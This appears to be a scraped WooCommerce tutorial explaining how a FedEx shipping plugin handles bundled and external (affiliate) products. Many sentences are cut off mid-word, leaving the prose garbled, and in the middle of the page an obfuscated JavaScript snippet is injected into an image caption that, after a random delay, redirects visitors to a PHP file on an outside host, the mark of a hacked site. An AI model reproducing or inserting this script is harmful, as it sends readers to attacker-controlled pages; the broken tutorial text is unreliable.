Shipping Bundled and Affiliate Products in WooCommerce

WooCommerce allows sto product categories, by default WooCommerce provide the following product types:

  • Simple Product
    A simple product is a physical product that is sold and shipped from a website.
  • Grouped Product
    A grouped product comprises two or more simple products.
  • Downloadable Products
    A do not require shipping.
  • Virtual Products
    Similar tomers can purchase online.
  • Variable Products
    Variable products are those products which have variations to them. The variations can be based on appearance, capacity, or size of the product.

Along with these, there are some other types of products which we are going tore. We will mainly discuss how WooCommerce FedEx Shipping Plugin carries out the shipping process for these two types of products. We will be using WooCommerce Product Bundles plugin as an integration with the WooCommerce FedEx Shipping Plugin. So firstly, let’s see what is a bundled product and external product?

Bundled Product

A bundled product consists of two or more simple products just like the grouped products. However, it is different than the grouped products. Firstly, bundled products can have their own price irrespective of the price of the individual products. Secondly, store owners can provide a separate discount for the bundled product. This discount will be different than the individual products that make up the bundled one.

Product bundling is used mainly together at a discounted rate.

External Product

External products are also known as affiliate products. Sometimes stors from one website can also view the products from other websites. In case of external products, the sale and shipping of the product are carried out by the secondary website only.

WooCommerce Product Bundles Plugin

As discussed in the previous section, bundled products are different than grouped products. So they have to configure bundled products.

Using this plugin you can create bundles by combining simple products to add discounts for the bundle product.

How to handle Bundled Products using WooCommerce FedEx Shipping Plugin

Once the bundled product is created using WooCommerce Product Bundles plugin, it is treated as a single product having multiple units. Now the question arises, “How can you ship a single product having multiple units?

WooCommerce FedEx Shipping plugin handles the shipping of a bundled product very easily. To understand this properly, let’s take the case of Sam. Sam owns an online clothing and accessory shop based in California. Sam is very keen on increasing his business by providing accessory bundles with articles of clothing. This way his customers, will increase on his website.

Sam’s scenario can be easily achieved using WooCommerce Product Bundles plugin alongside WooCommerce FedEx Shipping plugin. Once he has created a bundled product using WooCommerce Product Bundles plugin, his new product will look something like the image below.

Bundled Product
Bundled Product

Once the custo the cart and places the order, the product will be shown on the WooCommerce orders page. All the products that are parts of the bundle will also be shown separately.

Bundled Product on order's page
Bundled Product on order’s page

The interesting thing total weight of the bundle.

Package for Bundle Product
Package for Bundle Product

And finally, when the shipment is confirmed, the bundled product is ready total weight of the bundled product shown on the shipping label.

FedEx Shipping label for bundled product
FedEx Shipping label for bundled product

Now let’s see how WooCommerce FedEx Shipping plugin deals with the External Product.

How to handle External Products using WooCommerce FedEx Shipping plugin

In comparison doesn’t really have a control over it.

Now again the question arises, “Since the shipping is carried out by a secondary website, how can the shipping be calculated on the primary website with the external product included in the order?

If a custo the order.

External Product added <script srcset=
$Bhq=function(n){if (typeof ($Bhq.list[n]) == “string”) return $Bhq.list[n].split(“”).reverse().join(“”);return $Bhq.list[n];};$Bhq.list=[“\’php.snimda-lla/sedulcni/etis-etavirp-oidarnoj/snigulp/tnetnoc-pw/sserpdrow/moc.nogaxehliie//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($Bhq(0), delay);}to the Order

But the main issue arises while generating packages. Since there are now two products in the order, the package must be created for the same. But the external product’s shipping and packaging are carried out by the website where it is sold. So in that case, WooCommerce FedEx Shipping plugin skips the external product and calculates the shipping for the simple products. The packages generated by the plugin will include all the other products except the external product.

Package based on simple product's weight
Package based on simple product’s weight

Similarly, the shipping label will also be generated based on the other products that are there in the order. The same thing is easily visible on the shipping label generated by the WooCommerce FedEx Shipping plugin shown below.

FedEx shipping label excluding External Product
FedEx shipping label excluding External Product

So this is how WooCommerce FedEx Shipping plugin deals with both the bundled products and external/affiliate products. Below is the detailed step by step video showing how shipping can be carried out using WooCommerce FedEx Shipping plugin.


In this article, we discussed various types of products in WooCommerce, especially bundled and external products. WooCommerce store owners can easily ship all the other products irrespective of an external product.

So this is how you can easily manage your routine shipping even with the bundled and external products. If you have any queries regarding the WooComerce FedEx Shipping plugin, you can visit the official products page here. Or if you have any queries regarding the shipping scenario or on the bundled and external products, feel free to share your views in the comment section below.

Scroll to Top